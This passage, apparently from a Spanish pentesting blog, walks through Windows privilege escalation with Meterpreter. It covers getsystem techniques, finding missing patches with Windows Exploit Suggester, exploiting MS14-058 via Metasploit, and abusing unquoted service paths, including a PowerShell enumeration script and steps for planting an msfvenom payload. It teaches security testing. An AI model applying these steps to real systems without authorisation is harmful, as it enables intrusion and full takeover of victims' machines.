Figura 7: Obteniendo una sesión privilegiada con un Bypass de UAC tipo fileless.

Ahora ya podemos impersonar al usuario para obtener el token de SYSTEM. Si dejamos la sesión en background y listamos las sesiones actuales veremos la existencia de dos sesiones establecidas. Una con el token del usuario inicial "admin" y otra con el token de NT AUTHORITY\SYSTEM.

Figura 8: getsystem - Impersonar nuevamente al usuario para conseguir el token de SYSTEM.

Técnicas GETSYSTEM: Elevando privilegios con Meterpreter

Hay diversas técnicas utilizadas por Meterpreter para elevar privilegios de un administrador local a usuario SYSTEM.

1. Named Pipe Impersionation (In Memory/Admin)

Generado el canal con la víctima, se crea y ejecuta un servicio mediante cmd.exe, generando una suplantación del cliente basada en el servicio de SYSTEM.

2. Named Pipe Impersionation (Dropper/Admin)

A diferencia de la técnica 1, esta deja un archivo DLL en el disco y programa rundll32.exe como servicio para ejecutar el DLL como SYSTEM.

3. Token duplication (In Memory/Admin)

Hace un barrido por los servicios abiertos en la búsqueda de alguno que pueda ser ejecutado como SYSTEM y que adicionalmente tenga permisos para inyectar código, se utiliza la inyección de DLL para ejecutar elevator.dll en la memoria del servicio encontrado.

3. Proceso contexto integridad bajo. Usuario sin ningún privilegio

Este escenario sería el más complejo en cuanto a escalada de privilegios, pasaremos de 0 a SYSTEM sin utilizar ninguna técnica de bypass de UAC. Hemos comprometido un equipo remoto y tenemos una sesión Meterpreter de un proceso ejecutado por un usuario regular o "raso" sin privilegios, que pertenece al grupo "Usuarios" locales, aunque también podría pertenecer al grupo "Invitados" siendo este último el más restrictivo en el sistema en cuanto a permisos.

Deberemos encontrar alguna vulnerabilidad:

• Ya sea en el propio sistema operativo por falta de parcheo y carencia de algunas actualizaciones (será el que veremos en este ejemplo). 
• Vulnerabilidades en los drivers instalados.
• Alguna aplicación que se esté ejecutando en un contexto privilegiado.
• Servicios vulnerables por malas configuraciones (rutas absolutas no entrecomilladas, se detallan algunos ejemplos al final del artículo).

Desde un usuario no privilegiado listamos los permisos actuales (getprivs) y vemos que son muy limitados. Invocamos una shell para comprobar a que grupo pertenece y vemos que forma parte del grupo Usuarios locales.

Figura 9: Reconocimiento de permisos y pertenencia a grupos locales desde un usuario sin privilegios.

Desde la misma shell ejecutamos el comando "systeminfo". Nos mostrará varios detalles de interés, entre ellos las actualizaciones actuales instaladas en el sistema. En esta ocasión vemos que solo existe una sola KB instalada.

Copiamos toda la info que nos devuelve este comando a un fichero texto plano. (En este ejemplo se guardó en la máquina Kali en la ruta "/root/systeminfo27").

Figura 10: Comprobar las actualizaciones instaladas con systeminfo.

Existe un script en python llamado Windows Exploit Suggester con el cual podemos comparar el resultado del fichero guardado anteriormente con una base de datos xls actualizada.

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

A partir del fichero que contiene el resultado del systeminfo, nos mostrará aquellas actualizaciones de seguridad que podremos explotar y que no estarían instaladas en la máquina comprometida. A parte del código de la propia vulnerabilidad, nos mostrará una breve descripción de lo que hace, su nivel de criticidad y los enlaces al boletín de seguridad de MS para obtener más detalles y/o enlaces al propio exploit en exploit-db.com.

Para reconocer las vulnerabilidades Windows Exploit Suggester emplea la siguiente tipificación:

• [*] Falta la actualización.
• [M] Existe un módulo en Metasploit.
• [E] Existe un exploit público que no está incorporado o importado en Metasploit.

Es totalmente recomendable que revisemos los expedientes o boletines de seguridad oficiales para entender lo que vamos a explotar, no tendría sentido empezar a probar exploits a loco porque seguramente perderíamos el control del proceso del test de intrusión.

Una vez descargo el script del repositorio de Github, actualizamos la base de datos. Se nos descargará un fichero en local con extensión xls o xlsx.

./windows-exploit-suggester.py --update

Ejecutamos el script indicándole la base de datos y el fichero almacenado que habíamos guardado con la información en plano del resultado de ejecutar el comando systeminfo.

python windows-exploit-suggester.py -d BASE_DE_DATOS.xlsx -i FICHERO_SYSTEMINFO

Figura 11: Windows Exploit Suggester - Resultado de posibles actualizaciones explotables en base al fichero systeminfo.

En este ejemplo haremos uso de la vulnerabilidad MS14_058 que ya dispone de un módulo integrado en Metasploit. 

Recogida en en la base de conocimiento KB3000061, código CVE-2014-4113 reconocida con un CVSS de 7.2. Exploit de Metasploit disponible en https://www.exploit-db.com/exploits/35101.

Figura 12: Vulnerabilidad MS14-058 incorpora un módulo en Metasploit.

Una vez identificada la vulnerabilidad que vamos a utilizar y que sabemos que ya dispone de un módulo en Metasploit que nos abstraerá de los detalles para explotarla. La buscamos usando el comando "search MSxx-xxx" y encontramos el módulo correspondiente llamado "exploit/windows/local/ms14_058_track_popup_menu".

Usamos el módulo, lo configuramos estableciendo la sesión, un payload tipo meterpreter/reverse_tcp y lo ejecutamos. Si hemos tenido éxito se establecerá un nueva sesión con un meterpreter, si comprobamos el id de usuario podemos ver que ya tenemos el token de NT AUTHORITY\SYSTEM.

Si dejamos la sesión en background veremos que tenemos dos sesiones con meterpreter establecidas, la inicial del usuario sinPrivilegio y esta última obtenida con SYSTEM.

Figura 13: Escalada de privilegios de 0 a SYSTEM obteniendo una sesión meterpreter aprovechándose de la vulnerabilidad MS14-058.

Servicios vulnerables por malas configuraciones

Algunos ejemplos aprovechándose de pequeños tricks en errores de configuración de servicios.

• Service Permissions

Cuando un binario invoca a un servicio este se convierte en un proceso. Puede darse el caso por el diseño o desarrollo de dicho servicio que en la carpeta donde se aloja dicho binario los permisos no sean suficientemente restrictivos un usuario puede modificar una dll o incluso el propio binario (siempre y cuando no esté en ejecución), entonces en el momento de volver iniciar el servicio este llamara a ese binario no legítimo que hubiésemos "suplantado" y lo ejecutará.

Metasploit dispone de un módulo llamado "exploit/windows/local/service_permissions" que lo que hace es automatizar la búsqueda. Lista todos los servicios y busca si los permisos de los directorios donde se alojan sus binarios son adecuados para poder se utilizados por un usuario y poder modificarlos.

• Trusted Service Path (rutas absolutas con espacios en blanco sin entrecomillar)

Existe otro módulo en Metasploit llamado "exploit/windows/local/trusted_service_path". Lista las rutas de los binarios que son ejecutados por los servicios de Windows con el objetivo de encontrar rutas que vayan sin comillas (C:\path\... vs. "C:\path\..."). Prácticamente todos los servicios se inician o detienen a través de un binario exe ya sea invocándolo directamente o con algún argumento adicional.

Figura 14: Docs Microsoft - Parámetro lpBinaryPathName en la API de Windows CreateService de Advapi32.dll.

Esto quiere decir que si tenemos una ruta absoluta sin entrecomillar que contenga algún espacio en blanco por ejemplo C:\Program Files\hello.exe, por defecto la API de Windows en su función "CreateService" de Advapi32.dll si existe una separación, espacio en blanco en la ruta, no la interpreta correctamente por lo que intentará encontrar el binario correspondiente en cada espacio en blanco hasta que finalmente ejecute el binario necesario para iniciar el servicio.

Siguiendo el ejemplo anterior sería C:\Program.exe si lo encuentra lo ejecuta sino lo encuentra seguirá hasta encontrarlo. Será en esos casos donde aprovecharemos para cargar el payload (shellcode) y que sea ejecutado, consiguiendo una sesión en un contexto elevado ya que estos binarios de servicios cuando son iniciados tienen una integridad de SYSTEM.

Si ya tenemos un sesión Meterpreter establecida con un usuario regular del sistema podemos ejecutar load powershell para cargar el módulo de Powershell e importar el siguiente código ya sea copiando y pegando directamente en una powershell_shell o a través de powershell_import la siguiente función.

$servicios = Get-WmiObject -Class win32_service
foreach ($elemento in $servicios)
{
    if ( (!$elemento.PathName.Equals("")) -and (!$elemento.PathName.Startswith("`"")) -and ($elemento.pathname -ne $null))
    {
        $binario = $elemento.PathName.Split(" ")[0]
     
        if ((!$binario.Contains(":\Windows")))
        {
            $elemento.PathName
            $elemento.Name
            $elemento.Status
            Write-Output "----------`n"
        }
    }
}

Esto nos permitirá listar aquellos servicios mal configurados en sus paths sin entrecomillar, generar un binario con msfvenom con un payload de Meterpreter por ejemplo y subirlo a través del comando upload a la máquina remota con la finalidad de sustituirlo y ponernos a la escucha con el handler de conexiones (exploit/multi/handler).

De modo que cuando se arranque el servicio nuevamente lo hará a través del usuario NT AUTHORITY\SYSTEM consiguiendo así una nueva sesión Meterpreter con el mayor privilegio.

Saludos!